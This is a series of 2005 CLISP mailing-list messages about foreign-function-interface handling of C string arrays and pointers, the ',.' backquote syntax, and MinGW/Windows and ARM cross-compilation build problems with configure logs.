The former converts and returns a Lisp array, the latter a reference.
(c-pointer <type>) is not in older versions of CLISP.


>  (:return-type        ffi:c-pointer))
>(ffi:with-c-var (cols `ffi:c-pointer s2)
>  (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count))
>;; Above line generates this error:
>;; *** - FFI::%OFFSET: foreign variable #<FOREIGN-VARIABLE
>;; "EXEC-ON-STACK" #x00..> does not have the required alignment

Here you can be happy you got an alignment error and not a core dump =
(is that a x86-family processor -- where's alignment there?)
I believe you missed an indirection: cols is a (c-pointer (c-array =
...)) which is lying on the stack in this case, so you must =
dereference it as such.

My own example missed that (or was unclear about row-pointer), I'm =
sorry about it.

WITH-C-VAR introduces an object on the stack: typically a pointer to =
some data structure, it's the object pointed to that requires the cast, =
which generally leads to CAST `(c-ptr (...))

One usually has to be very careful about getting the number of =
indirections right. This is probably harder with the FFI than with =
plain C to programmers with C knowledge, because they are more used to =
the C syntax than to the fully parenthized FFI Lisp type. I also have =
to think *at least* twice to be sure.
And even more so with arrays -- are they pointers or not? In the =
context of the CLISP FFI, c-array is not to be viewed as a pointer =
type, therefore (c-pointer/c-ptr (c-array ...)) is typically needed =
(but not with objects one gets from :return-type (c-pointer ...), since =
the foreign-variable object received already was dereferenced). =
Confusing enough?
I view c-array like c-struct: consecutive slots. One clearly writes =
(C-ptr (c-struct ...)) (e.g. as parameter type), so it's the same with =
c-array.

Regards,
	J=F6rg H=F6hle.


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Russell McManus wrote:
> I tend to think that ,expr is shorthand for (unquote expr) as it is in
>scheme in which case the space should not be required.

Thanks for pointing out to me that R5RS does not know about ",." syntax. Only "," and ",@". I wasn't aware of this (yet another) difference!

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-08 09:49:22 +0200]:
>
> lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -q -M lispinit.mem -x 
> '(progn (format *terminal-io* "~&Line1 to *terminal-io*") (format
> *terminal-io* "~&Line2 to *terminal-io*") (values))' 2>&1 >>
> fresh-line.out
> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal

OK, I already fixed this bug 2 weeks ago, now I fixed it again.
Sorry.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-02-11 15:10:50 +0100]:
>
> (c-pointer <type>) is not in older versions of CLISP.

John has the latest and greatest, don't worry.

> Confusing enough?

definitely.

John&Joerg, could you please turn this discussion into a complete
example?
we already have 9 examples in
<http://www.podval.org/~sds/clisp/impnotes/dffi.html#dffi-examples>
I am sure a couple more would not hurt.

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I'll be responding with a smaller example to both Jorg and Sam shortly (2-3 
hours).

What Sam sent me I almost got working.  The smaller example will highlight 
precisely
my misunderstanding.  I should be able to post the initial DBI/DBD with ODBC 
and MySQL
driver in a few days then.

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>> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-02-11 
>> 15:10:50 +0100]:
>>
>> (c-pointer <type>) is not in older versions of CLISP.
>
> John has the latest and greatest, don't worry.
>
>> Confusing enough?
>
> definitely.
>
> John&Joerg, could you please turn this discussion into a complete
> example?
> we already have 9 examples in
> <http://www.podval.org/~sds/clisp/impnotes/dffi.html#dffi-examples>
> I am sure a couple more would not hurt.
>
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That was a long 2-3 hours - sorry I was tied up at work.

Basically I don't understand why I can't take a returned c-pointer
and use it with the following.  "s" is a returned ffi:c-pointer

    (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type 
'ffi:c-string)))

The above expression will produce the following error:

    *** - Incomplete FFI type C-STRING is not allowed here.

Below is the complete example with foo.c and foo.lisp demonstrating
what I'm trying to do with the returned array of  strings which is
not nulled terminated but may have null pointers embedded to represent
SQL null values.

(Thanks for all your help.)
------------------------------------------------------------
// foo.c

#include <stdio.h>

// define for M$ Visual C
#define DLLEXPORT _declspec(dllexport)

// #define DLLEXPORT

char * cols[] = { "one", "two", "three", "four" };


DLLEXPORT void display_c_addresses()
{
  printf("\nC address of string array: %x",cols);
  printf("\nC address of 1st string: %x  %s",cols[0],cols[0]);
  printf("\nC address of 2nd string: %x  %s",cols[1],cols[1]);
  printf("\nC address of 3st string: %x  %s",cols[2],cols[2]);
  printf("\nC address of 4nd string: %x  %s",cols[3],cols[3]);
}


DLLEXPORT char * foo()
{
  return cols[0];
}


DLLEXPORT char ** bar()
{
  return cols;
}

-------------------------------------------------------------------

;; Example of accessing arrays not null terminated
;; foo.lisp
;; see foo.c


;; Display C addresses of array and strings

(FFI:DEF-CALL-OUT     display-c-addresses
  (:library           "foo.dll")
  (:language          :stdc)
  (:name              "display_c_addresses")
  (:arguments)
  (:return-type       ffi:nil))

(display-c-addresses)



;; Demonstrate foreign-variable on a single c-pointer

;; First use automatic allocation and copy of string.

(FFI:DEF-CALL-OUT      foo1
  (:library            "foo.dll")
  (:language           :stdc)
  (:name               "foo")
  (:arguments)
  (:return-type        ffi:c-string))

(setf s (foo1))

(format t "~%1. one: ~A" s)


;; Now manually allocate and copy string.

(FFI:DEF-CALL-OUT      foo2
  (:library            "foo.dll")
  (:language           :stdc)
  (:name               "foo")
  (:arguments)
  (:return-type        ffi:c-pointer))

(setf s (foo2))

(format t "~%2. Address of one: ~A" s)


; Follow generates error:
; *** - Incomplete FFI type C-STRING is not allowed here.

'(if (not (ffi:foreign-address-null s))
     (format t "~%3. one: ~A"
       (ffi:foreign-value (ffi:foreign-variable s
                            (ffi::parse-c-type 'c-string)))))


;; Now experiment with array of string pointers.

(FFI:DEF-CALL-OUT      bar1
  (:library            "foo.dll")
  (:language           :stdc)
  (:name               "bar")
  (:arguments)
  (:return-type        ffi:c-pointer))

(setf s (bar1))

(format t "~%4. Foreign address s: ~A" s)

(setf s (ffi:foreign-value (ffi:foreign-variable s
         (ffi:parse-c-type `(ffi:c-array ffi:c-string ,4)))))

(format t "~%5. Vector of strings: ~A" s)

;; c-string worked above and in conjunction
;; with foreign-value automatically allocated
;; and copied the strings!


;; Now we get fancy and first allocate
;; the array of foreign addresses.

(setf s (bar1))

(setf s (ffi:foreign-value
          (ffi:foreign-variable s
            (ffi:parse-c-type
              `(ffi:c-array ffi:c-pointer ,4)))))

;; c-pointer "conversion" above is used so that
;; a test using foreign-address-null can be made
;; on each char * foreign address. That's because
;; SQL null values are indicated by null ptrs
;; and thus the array may have embedded NULL's!

(format t "~%6. Vector of foreign addresses: ~A" s)

;; But now if we want to pull back a specific
;; string we can't for the same reason #3 above
;; failed.

(setf s2 (svref s 1))

(format t "~%7. Foreign address of 2nd string: ~A" s2)


; Follow generates error again:
; *** - Incomplete FFI type C-STRING is not allowed here.

'(if (not (ffi:foreign-address-null s2))
     (format t "~%8. two: ~A"
       (ffi:foreign-value (ffi:foreign-variable s2
                            (ffi::parse-c-type 'c-string)))))









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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Russell McManus wrote:
>> I tend to think that ,expr is shorthand for (unquote expr) as it is in
>>scheme in which case the space should not be required.
>
> Thanks for pointing out to me that R5RS does not know about ",." 
> syntax. Only "," and ",@". I wasn't aware of this (yet another)
> difference!

Just to flaunt my ignorance, what does ,. do in CL, other than confuse
ex-Scheme programmers?

-russ


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On Fri, Feb 11, 2005 at 11:19:18PM -0500, Russell McManus wrote:
> "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
> 
> > Russell McManus wrote:
> >> I tend to think that ,expr is shorthand for (unquote expr) as it is in
> >>scheme in which case the space should not be required.
> >
> > Thanks for pointing out to me that R5RS does not know about ",." 
> > syntax. Only "," and ",@". I wasn't aware of this (yet another)
> > difference!
> 
> Just to flaunt my ignorance, what does ,. do in CL, other than confuse
> ex-Scheme programmers?

destructive ,@:

* (defvar a 1)

A
* (defvar b '(2 3 4))

B
* `(,a ,b)

(1 (2 3 4))
* `(,a ,@b)

(1 2 3 4)
* (defvar c '(5 6))

C
* `(,a ,@b ,@c)

(1 2 3 4 5 6)
* `(,a ,.b ,.c)

(1 2 3 4 5 6)
* b

(2 3 4 5 6)
* 


 
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Date: Tue Feb 15 06:40:53 2005
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John,

what I see in your code snippets are
 - a possible confusing input: (setq s (foo s)); old s destroyed
 - a misconception: "take foreign address of Lisp string"
 - a possible bug in CLISP (please check)

you wrote:
>  (:return-type        ffi:c-pointer))
>(setf s (ffi:foreign-value (ffi:foreign-variable s
>         (ffi:parse-c-type `(ffi:c-array ffi:c-string ,4)))))
>;; c-string worked above

Fine, what do you want more? :-)


>;; But now if we want to pull back a specific
>;; string we can't for the same reason #3 above
>;; failed.
>(setf s2 (svref s 1))
You already have converted the whole array into a Lisp vector like
#("one" nil "three").
Thus, there's no point in using FFI functions on s2 (nor the new s).


I recommend that you dereference the whole array in one go, as above. =
If you really want to access it element by element (possibly because =
you only need very few of them), here's what you can do:
(let* ((refer (foreign-variable s
               (parse-c-type `(c-array c-string ,actual-length)))))
  ; need to introduce places to make use of =
CAST/OFFSET/ELEMENT/SLOT/...
  (ffi:with-c-place (place refer)
    (ffi:element place i)))


>    (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type=20
>'ffi:c-string)))
>The above expression will produce the following error:
>    *** - Incomplete FFI type C-STRING is not allowed here.

That is odd. I can't believe there's such a bug in your version of =
CLISP, because my (older) CVS copy works fine.
Could you please try something like follows (untested):

(in-package "TEST" (:use "CL" "FFI"))
(setq m (allocate-deep 'c-string "babar"))
(describe m)

(describe
 (foreign-variable
  (unsigned-foreign-address 1) ; don't dereference that!
  (parse-c-type 'c-string)))

(describe
 (foreign-variable
  (foreign-address m)
  (parse-c-type 'c-string)))

(foreign-value m) -> "babar"

(foreign-value
 (foreign-variable
  (foreign-address m)
  (parse-c-type 'c-string))) -> "babar"

Maybe the error you see stems from de facto calling foreign-variable on =
a Lisp string. My CLISP gives:
(foreign-variable "abc" (parse-c-type 'c-string))
*** - FFI:FOREIGN-VARIABLE: "abc" is not of type
(OR FOREIGN-VARIABLE FOREIGN-ADDRESS)

I cannot yet reproduce the error "Incomplete FFI type C-STRING" which =
really sounds bogus.

Regards,
	J=F6rg H=F6hle.


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Date: Tue Feb 15 07:37:34 2005
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Jorg,

Your element by element solution solved my problem - thanks again.

Below is the test you asked me to run.

I run this program on CLisp 2.33.80 binary for win32 that I downloaded from
Sam Steingold's website and got the following errors.

(defpackage "TEST"
   (:use "COMMON-LISP" "FFI"))

(in-package TEST)

(setq m (allocate-deep 'ffi:c-string "babar"))
(describe m)

(describe
 (foreign-variable
  (unsigned-foreign-address 1) ; don't dereference that!
  (parse-c-type 'ffi:c-string)))

(describe
 (foreign-variable
  (foreign-address m)
  (parse-c-type 'ffi:c-string)))

(foreign-value m) ;; -> "babar"

(foreign-value
 (foreign-variable
  (foreign-address m)
  (parse-c-type 'ffi:c-string))) ;; -> "babar"

Msg:

    #<FOREIGN-VARIABLE FOREIGN-ALLOCATE #x003D4C68> is a
    foreign variable of foreign type C-STRING.

Followed by error:

    *** - FOREIGN-VARIABLE: foreign variable #<FOREIGN-VARIABLE #x00000001>
    does not have the required allignment.

I also ran the following reduced test which caused a segfault.

 ------------------------------------------

(FFI:DEF-CALL-OUT foo
(:library "foo.dll")
(:language :stdc)
(:name "foo")
(:arguments)
(:return-type ffi:c-pointer))

(setf s (foo))

; causes segfault on win32
(print (ffi:foreign-value
(ffi:foreign-variable s
(ffi:parse-c-type 'ffi:c-string))))

-------------------------------------------

#define DLLEXPORT _declspec(dllexport)

char * msg = "Hello FFI World!";

DLLEXPORT char * foo()
{ return msg; }

------------------------------------------- 




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John,

Please rerun the small tests with=20
>  (unsigned-foreign-address 8) ; don't dereference that!
and (load "foo.lisp" :print t) so we see intermediate values.
I'd like to see what triggers this "incomplete FFI type" error.


>I also ran the following reduced test which caused a segfault.
>char * msg =3D "Hello FFI World!";
>(:return-type ffi:c-pointer))
>(ffi:foreign-variable s
> (ffi:parse-c-type 'ffi:c-string))))
It's logical, since you have a char* and use it as a char**.

If you want to construct a foreign-variable object for the *contents* =
of msg, you must use an array with a bounded buffer, e.g. (c-array-max =
character 100).
The FOREIGN-VARIABLE objects require a known size (e.g. c-string has =
sizeof(char*), typically 4).

Or you use another indirection and can then use c-string. I.e., if you =
were to use
char **foo()
{ return &msg; }
then the types would match and you'd get no segfault.

Regards,
	J=F6rg H=F6hle.


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Date: Wed Feb 16 01:31:17 2005
X-Original-Date: Wed, 16 Feb 2005 03:30:57 -0600


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-02-16 10:51:11 +0100]:
>
> I don't know how to rewrite the FFI section of impnotes such that it
> is easier understood. There really are undeniable comprehension
> problems, witness user questions in clisp-list across the years. What
> are your suggestions?

more examples.
I want each "user question in clisp-list across the years" to be turned
into an example in impnotes.



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clisp from cvs head.
mingw/msys on win2k

./configure --with-mingw --with-dynamic-modules --build build-mingw
...
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment 
-Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 
-fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES 
-DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -I. -c spvw.c
In file included from spvw.d:24:
lispbibl.d:9652:4: #error "Dynamic modules require dynamic loading!"
spvw.d: In function `dynload_modules':
spvw.d:3403: warning: implicit declaration of function `dlopen'
spvw.d:3403: error: `RTLD_NOW' undeclared (first use in this function)
spvw.d:3403: error: (Each undeclared identifier is reported only once
spvw.d:3403: error: for each function it appears in.)
spvw.d:3403: warning: assignment makes pointer from integer without a cast
spvw.d:3404: warning: implicit declaration of function `dlerror'
spvw.d:3404: warning: passing arg 3 of `fehler_dlerror' makes pointer 
from integer without a cast
spvw.d:3430: warning: implicit declaration of function `dlsym'
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
spvw.d:3430: warning: assignment makes pointer from integer without a cast
make: *** [spvw.o] Error 1

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clisp from cvs head.
mingw/msys on win2k.

./configure --with-mingw --build build-mingw
...
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make check
...
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Bye.
mkdir ansi-tests
cd ansi-tests && ln ../../ansi-tests/Makefile .
ln: accessing `../../ansi-tests/Makefile': No such file or directory
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-17 09:39:27 +0200]:
>
> mkdir ansi-tests
> cd ansi-tests && ln ../../ansi-tests/Makefile .
> ln: accessing `../../ansi-tests/Makefile': No such file or directory
> make: *** [ansi-tests] Error 1

$ cd ..; make -f Makefile.devel update-ansi-tests; cd -
$ make check

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-17 09:34:17 +0200]:
>
> clisp from cvs head.
> mingw/msys on win2k
>
> ./configure --with-mingw --with-dynamic-modules --build build-mingw
> ...
> gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
> -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2
> -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
> -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -I. -c spvw.c
> In file included from spvw.d:24:
> lispbibl.d:9652:4: #error "Dynamic modules require dynamic loading!"

you need to modify src/m4/dynload.m4 to check for the w32 version of
dlopen &c (i.e., LoadLibrary &c), and the fix src/spvw.d which uses
dlopen().

alternatively, you can wait for Bruno to convert everything to ltld (?)
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Sam wrote:
> you need to modify src/m4/dynload.m4 to check for the w32 version of
> dlopen &c (i.e., LoadLibrary &c), and the fix src/spvw.d which uses
> dlopen().
>
> alternatively, you can wait for Bruno to convert everything to ltld (?)
> which is supposed to solve everything.

libltdl solves the portability problem of dynamic loading. Better use it,
rather than reinventing it.

Bruno



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Sam Steingold :

> > mkdir ansi-tests
> > cd ansi-tests && ln ../../ansi-tests/Makefile .
> > ln: accessing `../../ansi-tests/Makefile': No such file or directory
> > make: *** [ansi-tests] Error 1
>
> $ cd ..; make -f Makefile.devel update-ansi-tests; cd -
> $ make check
>
I have not cvs.
viewcvs only (cvsgrab).

ansi tests from clocc right?

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Sam Steingold:

> > mkdir ansi-tests
> > cd ansi-tests && ln ../../ansi-tests/Makefile .
> > ln: accessing `../../ansi-tests/Makefile': No such file or directory
> > make: *** [ansi-tests] Error 1
>
> $ cd ..; make -f Makefile.devel update-ansi-tests; cd -
> $ make check
>
download gcl/ansi-tests manually

$ make check
....
RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests
Bye.
cd ansi-tests && ../lisp.exe -B .. -M ../lispinit.mem -N ../locale  
-Efile UTF-8 -Eterminal UTF-8 -norc -m 30000KW -ansi -i clispload.lsp -x 
'(in-package "CL-TEST") (time (regression-test:do-tests)) (ext:exit 
(regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log
....
*** - LOAD: A file with name clispload.lsp does not exist
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./configure --with-mingw --with-module=rawsock --build build-rawsock
....
In file included from rawsock.c:9:
../clisp.h:555: warning: register used for two global register variables
rawsock.c: In function `check_socket_protocol':
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false
rawsock.c: In function `check_socket_protocol_reverse':
rawsock.c:1412: warning: comparison of unsigned expression < 0 is always 
false
....

This is normal?
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-18 15:06:20 +0200]:
>
> ./configure --with-mingw --with-module=rawsock --build build-rawsock
> ....
> In file included from rawsock.c:9:
> ../clisp.h:555: warning: register used for two global register variables
> rawsock.c: In function `check_socket_protocol':
> rawsock.c:1399: warning: comparison of unsigned expression < 0 is always
> false
> rawsock.c: In function `check_socket_protocol_reverse':
> rawsock.c:1412: warning: comparison of unsigned expression < 0 is always
> false
> ....
>
> This is normal?
> Sorry if this nothing

this just means that your system does not define any ETH_P_* constants.
it's OK, just pass NIL or 0.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-18 15:01:33 +0200]:
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> Sam Steingold:
>
>> > mkdir ansi-tests
>> > cd ansi-tests && ln ../../ansi-tests/Makefile .
>> > ln: accessing `../../ansi-tests/Makefile': No such file or directory
>> > make: *** [ansi-tests] Error 1
>>
>> $ cd ..; make -f Makefile.devel update-ansi-tests; cd -
>> $ make check
>>
> download gcl/ansi-tests manually
>
> $ make check
> ....
> RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests
> Bye.
> cd ansi-tests && ../lisp.exe -B .. -M ../lispinit.mem -N ../locale
> -Efile UTF-8 -Eterminal UTF-8 -norc -m 30000KW -ansi -i clispload.lsp -x 
> '(in-package "CL-TEST") (time (regression-test:do-tests)) (ext:exit
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> ....
> *** - LOAD: A file with name clispload.lsp does not exist

it's in utils.

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clisp from cvs head, mingw/msys, win2k

$ make check
....
219 out of 20137 total tests failed: COMMON-LISP-PACKAGE-NICKNAMES,
   COMMON-LISP-USER-PACKAGE-NICKNAMES, CL-CONSTANT-SYMBOLS.1,
....
   SYNTAX.SHARP-A.23, ROOM.2, TRACE.13, TRACE.14.
1 unexpected failures: PRINT.PATHNAME.2.
Real time: 203.5 sec.
Run time: 198.0 sec.
Space: 4232112404 Bytes
GC: 1213, GC time: 17.890625 sec.
NIL
Bye.

is necessary to do something with it?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-19 12:31:05 +0200]:
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> 1 unexpected failures: PRINT.PATHNAME.2.
>
> is necessary to do something with it?

PRINT.PATHNAME.2 is broken because when the namestring contains #\\
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Hi guys

I'm trying to cross-compile clisp to the arm chip so as to run it under 
OpenEmbedded. It will then run on the Zaurus and the Ipaq. My first problem 
was that I neeeded to modify the Makefile so that it would create a i386 
(rahther than arm) version of intparam, floatparam, comment5 and  varbrace. 
Unfortunately I still run into a problem which I can't seem to sort out on 
my own. The error messages start here:

ccache arm-linux-gcc -march=armv4 -mtune=xscale 
-I/opt/oe/build/tmp/staging/arm-linux/include 
-I/opt/oe/build/tmp/staging/arm-linux/include -fexpensive-optimi
zations -fomit-frame-pointer -frename-registers -O2 -c stream.c
| In file included from stream.d:8:
| lispbibl.d:7430: warning: volatile register variables don't work as you 
might wish
| stream.d:22: error: parse error before "uoff_t"
| stream.d:22: warning: data definition has no type or storage class
| stream.d:5749: error: parse error before "uoff_t"
| stream.d:5749: warning: no semicolon at end of struct or union
| stream.d:5751: error: 'index' redeclared as different kind of symbol
| stream.d:5751: error: 'index' redeclared as different kind of symbol

Can anyone help? Also, is there a way to tell makemake that I can 
cross-compiling and that intparam et al. should be compiled to run on the 
local machine?

I would really appreciate any help you can give.

BTW I had to disable ffcall as it didn't like a part of the arm assembly 
code (and I tried v 10.1 too). Also, I wnat this to work under OE  so I 
can't just compile it on the arm itself.
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On Sunday 20 February 2005 21:00, anthony lynch wrote:

> BTW I had to disable ffcall as it didn't like a part of the arm assembly
> code (and I tried v 10.1 too). Also, I wnat this to work under OE  so I
> can't just compile it on the arm itself.

FWIW clisp builds on arm for Debian, but ffcall is disabled due to a problem 
with passing structs with gcc 3.x, so even if it can be made to compile it 
may not work.


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Anthony Lynch wrote:
> is there a way to tell makemake that I can
> cross-compiling and that intparam et al. should be compiled to run on the
> local machine?

It would really be easier if you could run gcc on the PDA itself, natively.
In particular, the step of creating lispinit.mem cannot be done by cross-
compiling; it needs to be done on the target system.

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>From: Bruno Haible <bruno@clisp.org>
>To: clisp-list@lists.sourceforge.net
>Subject: [clisp-list] Re: cross-compiling to zaurus/ipaq
>Date: Mon, 21 Feb 2005 14:48:33 +0100
>
>Anthony Lynch wrote:
> > is there a way to tell makemake that I can
> > cross-compiling and that intparam et al. should be compiled to run on 
>the
> > local machine?
>
>It would really be easier if you could run gcc on the PDA itself, natively.
>In particular, the step of creating lispinit.mem cannot be done by cross-
>compiling; it needs to be done on the target system.
>

OK well I'm trying that now - installing the gcc3.4.3 toolchain is taking a 
little while. I'll let you know how it goes.

Ta
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win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59
from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2

> $ ./configure --with-mingw
> ...

from config.log:

> configure:5194: checking for xgettext
> configure:5222: result: /bin/xgettext
> configure:5233: checking for msgmerge
> configure:5260: result: /bin/msgmerge
> configure:5306: checking whether NLS is requested
> configure:5315: result: yes
> configure:5332: checking for GNU gettext in libc
> configure:5356: gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c  >&5
> C:/Temp/ccCabaaa.o: In function `main':
> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:22: undefined 
> reference to `libintl_bindtextdomain'
> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined 
> reference to `libintl_gettext'
> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined 
> reference to `libintl_ngettext'
> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined 
> reference to `libintl_nl_domain_bindings'
> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined 
> reference to `_nl_msg_cat_cntr'
> collect2: ld returned 1 exit status
> configure:5362: $? = 1
> configure: failed program was:
> | /* confdefs.h.  */
> |
> | #define PACKAGE_NAME ""
> | #define PACKAGE_TARNAME ""
> | #define PACKAGE_VERSION ""
> | #define PACKAGE_STRING ""
> | #define PACKAGE_BUGREPORT ""
> | #define _GNU_SOURCE 1
> | #define ASM_UNDERSCORE
> | #ifndef __i386__
> | #define __i386__ 1
> | #endif
> | #define HAVE_ICONV 1
> | #define ICONV_CONST const
> | /* end confdefs.h.  */
> | #include <libintl.h>
> | extern int _nl_msg_cat_cntr;
> | extern int *_nl_domain_bindings;
> | int
> | main ()
> | {
> | bindtextdomain ("", "");
> | return (int) gettext ("") + (int) ngettext ("", "", 0) + 
> _nl_msg_cat_cntr + *_nl_domain_bindings
> |   ;
> |   return 0;
> | }
> configure:5387: result: no
> configure:5799: checking for iconv
> configure:5911: result: yes
> configure:5921: checking how to link with libiconv
> configure:5923: result: -liconv
> configure:6310: checking for GNU gettext in libintl
> configure:6342: gcc -mno-cygwin -o conftest.exe -g -O2    conftest.c  
> -lintl >&5
> Info: resolving __nl_msg_cat_cntr by linking to 
> __imp___nl_msg_cat_cntr (auto-import)
> configure:6348: $? = 0
> configure:6352: test -z
>              || test ! -s conftest.err
> configure:6355: $? = 0
> configure:6358: test -s conftest.exe
> configure:6361: $? = 0
> configure:6433: result: yes
> configure:6465: checking how to link with libintl
> configure:6467: result: -lintl

if in test program for clause "configure:5332: checking for GNU gettext 
in libc" append

> #if !defined _LIBC
> # define _nl_default_dirname libintl_nl_default_dirname
> # define _nl_domain_bindings libintl_nl_domain_bindings
> #endif

and in command

> gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c

append -lintl, we shall not receive a error, but only:

> $ gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c -lintl
> Info: resolving _libintl_nl_domain_bindings by linking to 
> __imp__libintl_nl_domain_bindings (auto-import)
> Info: resolving __nl_msg_cat_cntr by linking to 
> __imp___nl_msg_cat_cntr (auto-import)

Whether it is possible to build clisp for win32 with gettext?
Whether it is possible to build with libraries from gnuwin32?
What to me to look or read to understand as it to build?

I am sorry, if I stick with nonsenses. :)

Excuse my bad English.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-22 16:19:51 +0200]:
>
> win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59
> from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2
>
>> $ ./configure --with-mingw
>> ...
>
> from config.log:
>
>> configure:5194: checking for xgettext
>> configure:5222: result: /bin/xgettext
>> configure:5233: checking for msgmerge
>> configure:5260: result: /bin/msgmerge
>> configure:5306: checking whether NLS is requested
>> configure:5315: result: yes
>> configure:5332: checking for GNU gettext in libc
>> configure:5356: gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c  >&5
>> C:/Temp/ccCabaaa.o: In function `main':
>> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:22: undefined
>> reference to `libintl_bindtextdomain'
>> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined
>> reference to `libintl_gettext'
>> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined
>> reference to `libintl_ngettext'
>> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined
>> reference to `libintl_nl_domain_bindings'
>> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined
>> reference to `_nl_msg_cat_cntr'
>> collect2: ld returned 1 exit status
>> configure:5362: $? = 1
>> configure: failed program was:
>> | /* confdefs.h.  */
>> |
>> | #define PACKAGE_NAME ""
>> | #define PACKAGE_TARNAME ""
>> | #define PACKAGE_VERSION ""
>> | #define PACKAGE_STRING ""
>> | #define PACKAGE_BUGREPORT ""
>> | #define _GNU_SOURCE 1
>> | #define ASM_UNDERSCORE
>> | #ifndef __i386__
>> | #define __i386__ 1
>> | #endif
>> | #define HAVE_ICONV 1
>> | #define ICONV_CONST const
>> | /* end confdefs.h.  */
>> | #include <libintl.h>
>> | extern int _nl_msg_cat_cntr;
>> | extern int *_nl_domain_bindings;
>> | int
>> | main ()
>> | {
>> | bindtextdomain ("", "");
>> | return (int) gettext ("") + (int) ngettext ("", "", 0) +
>> _nl_msg_cat_cntr + *_nl_domain_bindings
>> |   ;
>> |   return 0;
>> | }
>> configure:5387: result: no
>> configure:5799: checking for iconv
>> configure:5911: result: yes
>> configure:5921: checking how to link with libiconv
>> configure:5923: result: -liconv
>> configure:6310: checking for GNU gettext in libintl
>> configure:6342: gcc -mno-cygwin -o conftest.exe -g -O2    conftest.c
>> -lintl >&5
>> Info: resolving __nl_msg_cat_cntr by linking to
>> __imp___nl_msg_cat_cntr (auto-import)
>> configure:6348: $? = 0
>> configure:6352: test -z
>>              || test ! -s conftest.err
>> configure:6355: $? = 0
>> configure:6358: test -s conftest.exe
>> configure:6361: $? = 0
>> configure:6433: result: yes
>> configure:6465: checking how to link with libintl
>> configure:6467: result: -lintl
>
> if in test program for clause "configure:5332: checking for GNU gettext
> in libc" append
>
>> #if !defined _LIBC
>> # define _nl_default_dirname libintl_nl_default_dirname
>> # define _nl_domain_bindings libintl_nl_domain_bindings
>> #endif
>
> and in command
>
>> gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c
>
> append -lintl, we shall not receive a error, but only:

if we are looking in libc, we should not link with libintl.

>> $ gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c -lintl
>> Info: resolving _libintl_nl_domain_bindings by linking to
>> __imp__libintl_nl_domain_bindings (auto-import)
>> Info: resolving __nl_msg_cat_cntr by linking to
>> __imp___nl_msg_cat_cntr (auto-import)
>
> Whether it is possible to build clisp for win32 with gettext?
> Whether it is possible to build with libraries from gnuwin32?
> What to me to look or read to understand as it to build?
>
> I am sorry, if I stick with nonsenses. :)

I hope Bruno will speak up.


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Sam Steingold:

> >> gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c
> >
> > append -lintl, we shall not receive a error, but only:
>
> if we are looking in libc, we should not link with libintl.
>
It is possible to build clisp with support gettext only from libintl? How?

> > Whether it is possible to build clisp for win32 with gettext?
> > Whether it is possible to build with libraries from gnuwin32?
> > What to me to look or read to understand as it to build?
> >
> > I am sorry, if I stick with nonsenses. :)
>
> I hope Bruno will speak up.
>
I too.

